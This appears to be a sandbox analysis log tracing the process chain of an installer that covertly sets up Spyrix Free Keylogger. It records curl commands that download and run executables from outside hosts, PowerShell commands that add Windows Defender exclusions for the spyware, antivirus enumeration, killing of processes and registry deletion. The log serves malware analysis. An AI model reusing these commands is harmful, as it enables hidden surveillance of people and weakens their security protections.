Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1936,i,1509766979292889431,16591483089158193991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Process created: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp "C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\pswd.cmd
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: unknown unknown
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1936,i,1509766979292889431,16591483089158193991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
